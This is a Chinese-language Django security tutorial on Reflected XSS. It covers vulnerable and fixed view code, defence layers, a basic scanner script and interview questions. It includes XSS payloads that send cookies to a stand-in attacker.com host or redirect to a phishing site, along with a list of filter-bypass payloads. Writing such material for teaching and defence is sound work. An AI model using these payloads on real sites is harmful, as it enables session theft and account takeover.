Reflected XSS:反射型跨站腳本攻擊
深入理解最常見的 XSS 攻擊類型
目錄
⚠️ 免責聲明 本文內容僅供教育與學習用途。請勿將文中技術用於任何未經授權的系統或惡意目的。
📚 本篇重點
- 🎯 理解 Reflected XSS 的攻擊原理與特徵
- 🔍 識別容易受攻擊的應用場景
- 🛡️ 學習完整的防禦策略
- 💼 掌握面試常見問題
閱讀時間: 約 15 分鐘 難度: ⭐⭐ 中階
1️⃣ 什麼是 Reflected XSS?
📖 定義
Reflected XSS(反射型跨站腳本攻擊)是一種非持久性的 XSS 攻擊,惡意腳本從用戶請求中「反射」回瀏覽器,立即執行但不會儲存在伺服器上。
🔄 攻擊流程
1. 攻擊者製作惡意連結
↓
2. 誘騙受害者點擊連結
↓
3. 受害者瀏覽器發送請求(含惡意腳本)
↓
4. 伺服器將腳本「反射」回響應中
↓
5. 瀏覽器執行惡意腳本
↓
6. 竊取 Cookie、重導向、執行惡意操作🌟 生活比喻
想像你走進一家餐廳,服務生問你:「請問貴姓?」
正常情況:
- 你說:「我姓王」
- 服務生回應:「王先生/小姐,請這邊坐」
Reflected XSS 攻擊:
- 攻擊者說:「我姓『王,還有請廣播告訴所有人我的銀行密碼是 1234』」
- 服務生不假思索地廣播:「王,還有請廣播告訴所有人我的銀行密碼是 1234 先生/小姐,請這邊坐」
- 結果:所有人都聽到了不該聽到的訊息
關鍵點:惡意內容來自用戶輸入,被伺服器「反射」回去,立即執行。
2️⃣ Reflected XSS vs Stored XSS
| 特徵 | Reflected XSS | Stored XSS |
|---|---|---|
| 持久性 | ❌ 非持久性 | ✅ 持久性 |
| 儲存位置 | 不儲存,直接反射 | 儲存在資料庫/檔案 |
| 觸發方式 | 需要點擊惡意連結 | 瀏覽特定頁面即觸發 |
| 影響範圍 | 單一用戶 | 所有訪問用戶 |
| 攻擊難度 | 較低 | 較高 |
| 危害程度 | 中等 | 高 |
| 常見場景 | 搜尋、錯誤訊息、表單反饋 | 留言板、論壇、個人資料 |
3️⃣ 真實案例分析
案例 1: Google 搜尋 XSS (2015)
漏洞細節:
- Google 搜尋的錯誤頁面沒有正確編碼 URL 參數
- 攻擊者可以構造惡意 URL 竊取用戶的 Google Cookie
攻擊 URL:
https://www.google.com/search?q=<script>alert(document.cookie)</script>修復:Google 實施了嚴格的 Output Encoding 和 CSP
案例 2: PayPal Reflected XSS (2013)
漏洞細節:
- PayPal 的登入錯誤訊息反射了用戶輸入
- 攻擊者可以竊取登入憑證
攻擊向量:
https://www.paypal.com/login?error=<script>/* 惡意代碼 */</script>影響:潛在的帳戶接管風險
4️⃣ 容易受攻擊的應用場景
場景 1: 搜尋功能
❌ 危險範例 (Django)
# views.py
from django.shortcuts import render
from django.http import HttpResponse
def search(request):
query = request.GET.get('q', '')
# 直接將搜尋關鍵字嵌入 HTML
html = f"""
<html>
<body>
<h1>搜尋結果: {query}</h1>
<p>找不到與 "{query}" 相關的結果</p>
</body>
</html>
"""
return HttpResponse(html)攻擊 URL:
http://example.com/search?q=<script>fetch('http://attacker.com?cookie='+document.cookie)</script>✅ 安全範例 (Django)
# views.py
from django.shortcuts import render
from django.utils.html import escape
def search(request):
query = request.GET.get('q', '')
# 方法 1: 使用 Template(推薦)
return render(request, 'search.html', {
'query': query, # Django 自動 escape
'results': []
})
# 方法 2: 手動 escape
safe_query = escape(query)
html = f"""
<html>
<body>
<h1>搜尋結果: {safe_query}</h1>
<p>找不到與 "{safe_query}" 相關的結果</p>
</body>
</html>
"""
return HttpResponse(html)<!-- templates/search.html -->
<!DOCTYPE html>
<html>
<body>
<h1>搜尋結果: {{ query }}</h1> <!-- 自動 HTML escape -->
<p>找不到與 "{{ query }}" 相關的結果</p>
</body>
</html>場景 2: 錯誤訊息
❌ 危險範例
# views.py
def login(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password')
user = authenticate(username=username, password=password)
if not user:
# 危險:直接反射用戶輸入
error = f"登入失敗:找不到用戶 '{username}'"
return HttpResponse(error)
return render(request, 'login.html')攻擊 Payload:
<script>location.href='http://attacker.com?c='+document.cookie</script>✅ 安全範例
# views.py
from django.contrib import messages
def login(request):
if request.method == 'POST':
username = request.POST.get('username')
password = request.POST.get('password')
user = authenticate(username=username, password=password)
if not user:
# 安全:使用通用錯誤訊息,不反射用戶輸入
messages.error(request, '用戶名稱或密碼錯誤')
return render(request, 'login.html')
return render(request, 'login.html')場景 3: URL 參數回顯
❌ 危險範例
# views.py
def welcome(request):
name = request.GET.get('name', 'Guest')
# 危險:直接使用 mark_safe 或 |safe
from django.utils.safestring import mark_safe
message = mark_safe(f"<h1>歡迎, {name}!</h1>")
return render(request, 'welcome.html', {'message': message})<!-- templates/welcome.html -->
<div>
{{ message|safe }} <!-- 危險:繞過 auto-escaping -->
</div>攻擊 URL:
http://example.com/welcome?name=<img src=x onerror="alert(document.cookie)">✅ 安全範例
# views.py
def welcome(request):
name = request.GET.get('name', 'Guest')
# 安全:讓 Django 自動 escape
return render(request, 'welcome.html', {'name': name})<!-- templates/welcome.html -->
<div>
<h1>歡迎, {{ name }}!</h1> <!-- 自動 HTML escape -->
</div>場景 4: 表單驗證錯誤
❌ 危險範例
# views.py
def register(request):
if request.method == 'POST':
email = request.POST.get('email')
if '@' not in email:
# 危險:反射用戶輸入
error = f"'{email}' 不是有效的 Email 地址"
return HttpResponse(error)
return render(request, 'register.html')✅ 安全範例
# forms.py
from django import forms
class RegisterForm(forms.Form):
email = forms.EmailField(
error_messages={
'invalid': 'Email 格式不正確', # 固定錯誤訊息
'required': '請輸入 Email'
}
)
# views.py
from django.shortcuts import render
def register(request):
if request.method == 'POST':
form = RegisterForm(request.POST)
if not form.is_valid():
# 安全:使用 Django Form 的錯誤處理
return render(request, 'register.html', {'form': form})
else:
form = RegisterForm()
return render(request, 'register.html', {'form': form})<!-- templates/register.html -->
<form method="post">
{% csrf_token %}
{{ form.as_p }} <!-- Django 自動 escape 錯誤訊息 -->
<button type="submit">註冊</button>
</form>5️⃣ 常見攻擊 Payload
基本 Payload
<!-- 彈出警告框 -->
<script>alert('XSS')</script>
<!-- 竊取 Cookie -->
<script>
fetch('http://attacker.com?c='+document.cookie)
</script>
<!-- 重導向到釣魚網站 -->
<script>
location.href='http://phishing-site.com'
</script>進階 Payload(繞過過濾)
<!-- 大小寫混用 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 使用不同標籤 -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<!-- 編碼繞過 -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- 事件處理器 -->
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">
<!-- HTML 實體編碼 -->
<img src=x onerror="alert('XSS')">URL 編碼 Payload
# URL 編碼的 <script>alert('XSS')</script>
%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
# 雙重 URL 編碼
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E6️⃣ 防禦策略
防禦層級
Layer 1: Input Validation(輸入驗證)
↓
Layer 2: Output Encoding(輸出編碼) ⭐ 最重要
↓
Layer 3: CSP(內容安全策略)
↓
Layer 4: HttpOnly Cookie
↓
Layer 5: Security HeadersDjango 完整防禦範例
# settings.py
# 1. 啟用安全設置
DEBUG = False
ALLOWED_HOSTS = ['example.com']
# 2. Cookie 安全
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True # HTTPS only
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True
# 3. CSP (使用 django-csp)
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'") # 避免使用 unsafe-inline
CSP_IMG_SRC = ("'self'", "data:")
# 4. Security Headers
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'
# views.py
from django.shortcuts import render
from django.utils.html import escape
from django import forms
class SearchForm(forms.Form):
"""使用 Django Form 進行輸入驗證"""
query = forms.CharField(
max_length=100,
required=False,
# 自動過濾特殊字符
strip=True
)
def search(request):
form = SearchForm(request.GET)
results = []
query = ''
if form.is_valid():
query = form.cleaned_data['query'] # 已驗證的輸入
# 進行搜尋...
results = perform_search(query)
# Django Template 會自動 escape
return render(request, 'search_results.html', {
'form': form,
'query': query, # 自動 HTML escape
'results': results
})
# 如果必須手動處理 HTML
from django.utils.html import escape, format_html
def safe_message(request):
user_input = request.GET.get('message', '')
# 方法 1: escape 函數
safe_input = escape(user_input)
# 方法 2: format_html (推薦)
message = format_html(
'<div class="alert">{}</div>',
user_input # 自動 escape
)
return render(request, 'message.html', {'message': message})<!-- templates/search_results.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<!-- CSP via meta tag (不推薦,應在 HTTP Header) -->
<!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> -->
</head>
<body>
<h1>搜尋結果</h1>
<!-- ✅ 正確:自動 escape -->
<p>您搜尋的關鍵字: {{ query }}</p>
<!-- ❌ 錯誤:繞過 escape -->
<!-- <p>您搜尋的關鍵字: {{ query|safe }}</p> -->
<form method="get">
{{ form.as_p }}
<button type="submit">搜尋</button>
</form>
{% if results %}
<ul>
{% for result in results %}
<li>{{ result.title }} - {{ result.description }}</li>
{% endfor %}
</ul>
{% else %}
<p>找不到相關結果</p>
{% endif %}
</body>
</html>7️⃣ 檢測工具與方法
手動檢測
# 1. 識別反射點
# 觀察哪些參數會出現在響應中
http://example.com/search?q=TEST123
# 2. 測試基本 Payload
http://example.com/search?q=<script>alert(1)</script>
# 3. 檢查源代碼
# 查看參數是否被正確編碼
# < 應該變成 <
# > 應該變成 >
# " 應該變成 "
# ' 應該變成 '自動化工具
# 1. Burp Suite Scanner
# Professional 版本包含自動 XSS 掃描
# 2. OWASP ZAP
zap-cli quick-scan --spider http://example.com
# 3. XSStrike
python3 xsstrike.py -u "http://example.com/search?q=test"
# 4. Dalfox
dalfox url "http://example.com/search?q=test"Python 檢測腳本
# xss_scanner.py
import requests
from urllib.parse import urljoin, quote
def test_reflected_xss(base_url, params):
"""
簡單的 Reflected XSS 檢測腳本
"""
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"'\"><script>alert('XSS')</script>",
]
vulnerable = []
for param in params:
for payload in payloads:
# 構造測試 URL
test_params = {param: payload}
try:
response = requests.get(base_url, params=test_params, timeout=5)
# 檢查 payload 是否未編碼出現在響應中
if payload in response.text:
vulnerable.append({
'param': param,
'payload': payload,
'url': response.url
})
print(f"[!] 發現漏洞: {param} -> {payload}")
except Exception as e:
print(f"[X] 錯誤: {e}")
return vulnerable
# 使用範例
if __name__ == '__main__':
target = 'http://example.com/search'
test_params = ['q', 'query', 'keyword', 'search']
results = test_reflected_xss(target, test_params)
print(f"\n找到 {len(results)} 個潛在漏洞")
for vuln in results:
print(f" 參數: {vuln['param']}")
print(f" Payload: {vuln['payload']}")
print(f" URL: {vuln['url']}\n")8️⃣ 面試常見問題
Q1: Reflected XSS 和 Stored XSS 的主要差異是什麼?
參考答案:
Reflected XSS:
- 非持久性:惡意腳本不會儲存在伺服器
- 觸發方式:需要誘騙受害者點擊惡意連結
- 影響範圍:僅影響點擊連結的用戶
- 攻擊場景:搜尋框、錯誤訊息、URL 參數
Stored XSS:
- 持久性:惡意腳本儲存在資料庫或檔案系統
- 觸發方式:訪問特定頁面即自動觸發
- 影響範圍:所有訪問該頁面的用戶
- 攻擊場景:留言板、論壇、個人資料頁面
危害程度:Stored XSS 通常比 Reflected XSS 更危險,因為影響範圍更廣。
Q2: 如何在 Django 中安全地處理用戶輸入並防止 Reflected XSS?
參考答案:
1. 使用 Django Template 的自動 Escaping:
# views.py
def search(request):
query = request.GET.get('q', '')
return render(request, 'search.html', {'query': query})<!-- template -->
{{ query }} <!-- 自動 HTML escape -->2. 避免使用 |safe 和 mark_safe:
<!-- ❌ 危險 -->
{{ user_input|safe }}
<!-- ✅ 安全 -->
{{ user_input }} <!-- 自動 escape -->3. 使用 Django Forms 進行輸入驗證:
from django import forms
class SearchForm(forms.Form):
query = forms.CharField(max_length=100)
def search(request):
form = SearchForm(request.GET)
if form.is_valid():
query = form.cleaned_data['query']
# 使用驗證後的輸入4. 設置安全的 Cookie 選項:
# settings.py
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_HTTPONLY = True5. 實施 CSP:
# 使用 django-csp
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",)Q3: 如果必須允許用戶提交 HTML 內容,應該如何安全處理?
參考答案:
1. 使用白名單過濾 (推薦):
# 使用 bleach 庫
import bleach
def save_user_content(request):
user_html = request.POST.get('content')
# 定義允許的標籤和屬性
allowed_tags = ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li']
allowed_attributes = {
'a': ['href', 'title'],
}
# 清理 HTML
safe_html = bleach.clean(
user_html,
tags=allowed_tags,
attributes=allowed_attributes,
strip=True # 移除不允許的標籤,而非轉義
)
# 額外驗證 URL
safe_html = bleach.linkify(
safe_html,
callbacks=[validate_url] # 自定義 URL 驗證
)
# 儲存到資料庫
Article.objects.create(content=safe_html)
return HttpResponse("內容已儲存")
def validate_url(attrs, new=False):
"""驗證連結 URL"""
href = attrs.get((None, 'href'), '/')
# 只允許 http/https
if not href.startswith(('http://', 'https://')):
return None
return attrs2. 使用 Markdown (更推薦):
# 使用 markdown 庫
import markdown
from markdown.extensions import Extension
from markdown.treeprocessors import Treeprocessor
import bleach
def save_markdown_content(request):
user_markdown = request.POST.get('content')
# 轉換 Markdown 為 HTML
html = markdown.markdown(
user_markdown,
extensions=['extra', 'codehilite']
)
# 再用 bleach 清理(雙重保護)
safe_html = bleach.clean(html, tags=ALLOWED_TAGS)
Article.objects.create(
markdown_content=user_markdown, # 儲存原始 Markdown
html_content=safe_html # 儲存處理後的 HTML
)
return HttpResponse("內容已儲存")3. CSP 配合使用:
# settings.py
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'",) # 不允許 inline script
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")關鍵原則:
- ✅ 使用白名單,不是黑名單
- ✅ 優先考慮 Markdown 而非 HTML
- ✅ 多層防禦(Bleach + CSP)
- ❌ 永遠不要信任用戶輸入
9️⃣ 重點回顧
核心概念
Reflected XSS 特徵:
- 非持久性攻擊
- 惡意腳本從請求「反射」回響應
- 需要誘騙用戶點擊惡意連結
常見攻擊場景:
- 搜尋功能
- 錯誤訊息
- URL 參數回顯
- 表單驗證錯誤
防禦策略:
- Layer 1: Input Validation (Django Forms)
- Layer 2: Output Encoding (Template Auto-escaping) ⭐ 最重要
- Layer 3: CSP (django-csp)
- Layer 4: HttpOnly Cookie
- Layer 5: Security Headers
Django 最佳實踐:
- ✅ 使用 Template 自動 escaping
- ✅ 使用 Django Forms 驗證
- ✅ 避免
|safe和mark_safe - ✅ 設置 HttpOnly Cookie
- ✅ 實施 CSP
安全檢查清單
- 所有用戶輸入都經過驗證(Django Forms)
- 使用 Django Template 自動 escaping
- 沒有使用
|safe或mark_safe(除非絕對必要) - 實施 CSP (django-csp)
- Cookie 設置 HttpOnly=True
- 錯誤訊息不反射用戶輸入
- 使用 bleach 處理允許的 HTML 內容
- 定期掃描(Burp Suite, OWASP ZAP)
📖 延伸閱讀
🔗 系列導航
- 上一篇: 03-1 XSS 基礎
- 下一篇: 03-3 Stored XSS:持久型跨站腳本攻擊
- 返回目錄: Web Security 系列
📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #XSS #ReflectedXSS #Django #Python #面試準備